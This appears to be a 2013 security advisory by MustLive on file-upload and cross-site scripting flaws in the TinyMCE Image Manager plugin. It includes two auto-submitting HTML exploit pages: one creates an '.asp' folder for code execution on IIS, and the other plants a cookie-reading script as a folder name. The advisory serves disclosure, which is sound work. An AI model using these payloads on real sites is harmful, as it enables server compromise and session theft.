Lucene search
K

TinyMCE Image Manager 1.1 XSS / File Upload

🗓️ 19 Jul 2013 00:00:00Reported by MustLiveType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 28 Views

Arbitrary file upload and cross-site scripting vulnerabilities in TinyMCE Image Manager 1.

Code
`Hello list!  
  
These are Arbitrary File Uploading and Cross-Site Scripting vulnerabilities   
in TinyMCE Image Manager plugin for TinyMCE.  
  
-------------------------  
Affected products:  
-------------------------  
  
Vulnerable are TinyMCE Image Manager 1.1 and previous versions.  
  
-------------------------  
Affected vendors:  
-------------------------  
  
Dustweb  
http://dustweb.ru/projects/tinymce_images/  
  
----------  
Details:  
----------  
  
Arbitrary File Uploading (WASC-31):  
  
The attack is possible via "1.asp" in folder name. This is bypass method for   
executing arbitrary code at IIS web server.  
  
TinyMCE Image Manager AFU.html  
  
<html>  
<head>  
<title>TinyMCE Image Manager Arbitrary File Uploading exploit (C) 2013   
MustLive. http://websecurity.com.ua</title>  
</head>  
<body onLoad="document.hack.submit()">  
<form name="hack"   
action="http://site/tiny_mce/plugins/images/connector/php/" method="post">  
<input type="hidden" name="action" value="newfolder">  
<input type="hidden" name="type" value="images">  
<input type="hidden" name="path" value="">  
<input type="hidden" name="name" value="1.asp">  
</form>  
</body>  
</html>  
  
Cross-Site Scripting (WASC-08):  
  
This is persistent XSS on Linux/Unix and reflected XSS on Windows. The code   
will execute just after sending request for creating a folder and later on   
at requests to connector (at any operations, except creating a folder with   
existent name).  
  
TinyMCE Image Manager XSS.html  
  
<html>  
<head>  
<title>TinyMCE Image Manager XSS exploit (C) 2013 MustLive.   
http://websecurity.com.ua</title>  
</head>  
<body onLoad="document.hack.submit()">  
<form name="hack"   
action="http://site/tiny_mce/plugins/images/connector/php/" method="post">  
<input type="hidden" name="action" value="newfolder">  
<input type="hidden" name="type" value="images">  
<input type="hidden" name="path" value="">  
<input type="hidden" name="name" value="<body   
onload=alert(document.cookie)>">  
</form>  
</body>  
</html>  
  
------------  
Timeline:  
------------   
  
2013.05.22 - announced at my site.  
2013.05.23 - informed developer.  
2013.07.18 - disclosed at my site (http://websecurity.com.ua/6527/).  
  
Best wishes & regards,  
MustLive  
Administrator of Websecurity web site  
http://websecurity.com.ua   
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation